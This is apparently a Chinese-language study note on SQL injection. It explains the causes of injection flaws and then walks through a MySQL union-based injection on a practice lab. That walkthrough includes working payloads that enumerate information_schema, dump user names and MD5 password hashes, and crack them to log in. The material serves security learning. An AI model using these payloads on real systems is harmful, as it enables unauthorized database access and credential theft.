SQLi1

SQL注入简介

参考 https://www.yuque.com/weiker/xiaodi/ail8hbspn7hllqzi

SQL注入原理

产生原因，可控变量带入数据库查询，变量未存在过滤或过滤不严谨，过滤不严谨的可以绕过过滤

SQL注入是一种将SQL代码插入或添加到应用（用户）的输入参数中的攻击，之后再将这些参数传递给后台的sql服务器加以解析和执行。由于sql语句本身的多样性，以及可用于构造sql语句的编程方法很多，因此凡是构造sql语句的步骤均存在被攻击的潜在风险。Sql注入的方式主要是直接将代码插入参数中，这些参数会被置入sql命令中加以执行。间接的攻击方式是将恶意代码插入字符串中，之后将这些字符串保存到数据库的数据表中或将其当成元数据。当将存储的字符串置入动态sql命令中时，恶意代码就将被执行。

如果web应用未对动态构造的sql语句使用的参数进行正确性审查（即便使用了参数化技术），攻击者就很可能会修改后台sql语句的构造。如果攻击者能够修改sql语句，那么该语句将与应用的用户具有相同的权限。当使用sql服务器执行与操作系统交互命令时，该进程将与执行命令的组件（如数据库服务器、应用服务器或web服务器）拥有相同的权限，这种权限的级别通常很高。如果攻击者执行以上恶意代码的插入操作成功，那么用户数据库服务器或者整个应用会遭到破坏，甚至被控制。

SQL注入的产生过程及常见原因

产生过程

大多数的web应用都需要与数据库进行交互，并且大多数web应用编程语言（如ASP、C##、.NET、Java和PHP）均提供了可编程的方法来与数据库连接并进行交互。如果web应用开发人员无法确保在将从web表单，cookie及输入参数等收到的值传递给sql查询（该查询在数据库服务器上执行）之前已经对其进行过验证，那么通常会出现sql注入漏洞，如果攻击者能够控制发送给sql查询的输入，并且能够操纵该输入将其解析为代码而非数据，那么攻击者就很有可能有能力在后台数据库执行该代码。

常见原因

基于此，SQL注入的产生原因通常表现在以下几方面：①转义字符处理不合适；②不安全的数据库配置；③不合理的查询集处理；④不当的错误处理；⑤多个提交处理不当。

不当的处理类型

Sql数据库将单引号字符（’）解析成代码与数据间的分界线：单引号外面的内容军事需要运行的代码，而用单引号引起来的内容均是数据。因为只需要简单的在URL或WEB页面的字段中输入一个单引号，就能很快速的识别出web站点是否会受到sql注入攻击。

不安全的数据库配置

数据库带有很多默认的用户预安装内容。SQL Server使用声名狼藉的“sa”作为数据库系统管理员账户，MySQL使用“root”和“anonymous”用户账户，Oracle则在创建数据库时通常会创建SYS、SYSTEM、DBSNMP和OUTLN账户。这些并非是全部的账号，知识比较出名的账户中的一部分，还有很多其他的账户。其他账户同样按默认方式进行预设，口令总所周知。

这就带来了很大的安全风险，攻击者利用sql注入漏洞时，通常会常识访问数据库的元数据，比如内部的数据库和表的名称、列的数据类型和访问权限，例如MySQL服务器的元数据位于information_schema虚拟数据库中，可通过show databases；和show tables；命令访问。所有的MySQL用户均有权限访问该数据库中的表，但只能查看表中那些与该用户访问权限相对应的对象的行。

不合理的查询集处理

有时需要使用动态的sql语句对某些复杂的应用进行编码，因为程序开发阶段可能还不知道要查询的表或字段（或者不存在）。比如与大型数据库交互的应用，这些数据库在定期创建的表中的数据由于应用已经产生了输入，因而开发人员会信任该数据，攻击者可以使用自己的表和字段数据来替换应用产生的值，从而影响系统的返回值。

不当的错误处理

错误处理不当会为web站点带来很多安全方面的问题。最常见的问题是将详细的内部错误消息（如错误代码，数据库转存储）显示给用户或攻击。这些错误消息会泄露实现细节，为攻击者提供与网站潜在缺陷相关的重要线索。

多个提交处理不当

大型的web开发项目会出现这样的问题：有些开发人员会对输入进行验证，而一些开发人员则不以为然。对于开发人员，团队，甚至公司来说，彼此独立工作的情形并不少见，很难保证项目中每个人都遵循相同的标准。

应用打开发人员还倾向于围绕用户来设计应用，他们尽可能的使用预期的处理流程来引导用户，认为用户将遵循他们已经设计好的逻辑顺序。

例如：当用户已到达一系列表单中的第三个表单时，他们会期望用户肯定已经完成第一个和第二个表达。但实际上，借助URL乱序来请求资源，能够非常容易的避开预期的数据流程。

mysql注入

知识点：

1、数据库版本在5.0以上就是高版本，需要用information_schema有据查询

在Mysql5.0以上版本中，MySQL存在一个自带数据库名为information_schema，它是一个存储记录所有数据库名，表名，列名的数据库，也相当于可以通过查询它获取指定数据库下面的表名或列名信息

2、数据库中符号”.”代表下一级，dbqyw.user表示dbqyw数据库下的user表名

information_schema.schemata：记录所有数据库名信息的表

information_schema.tables：记录所有表名信息的表

information_schema.columns：记录所有列名信息的表

schema_name：数据库名

table_name：表名

column_name：列名

table_schema：数据库名

3、猜解多个数据可以采用 limit x,1 变动猜解

步骤

1、判断注入点
老办法：
and 1=1 页面正常
and 1=2 页面错误
可能存在注入点，但是这个老方法现在用的少了，用最新的

2、猜测列名数量（字段数）
order by x x回显正常，x+1回显错误，有x个字段

3、猜解
最前面的1改成-1
-1 union select 1,2,...,x
显示几，几就是注入点

4、信息收集
数据库版本：version()
数据库名：database()
数据库用户：user()
操作系统：@@version_compile_os

版本探测的意义

在mysql5.0以后的版本存在一个information_schema数据库、里面存储记录数据库名、表名、列名的数据库
相当于可以通过information_schema这个数据库获取到数据库下面的表名和列名。

Mysql数据库结构

数据库A = 网站A
    表名
        列名
            数据
。。。。。。

要层层递进得到数据

实践

注入点为2，查询数据库mozhe_Discuz_StormGroup的表名
-1 union select 1,table_name,3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
表名为StormGroup_member，只显示了一个表名，如果要显示所有，就加上group_concat
-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
显示了所有表名StormGroup_member,notice

查询表StormGroup_member的列名 
-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'
列名为id,name,password,status

查询指定数据
-1 union select 1,group_concat(name),group_concat(password),4 from StormGroup_member
name为mozhe和mozhe
password为356f589a7df439f6f744ff19bb8092c0和aa47b6f4aebaad8799e735b0e31dfc1c
对于这道题，题目提示了password经过的md5加密，解密后password为dsan13和807150，第一个被禁用了，第二个可以正常登录得到key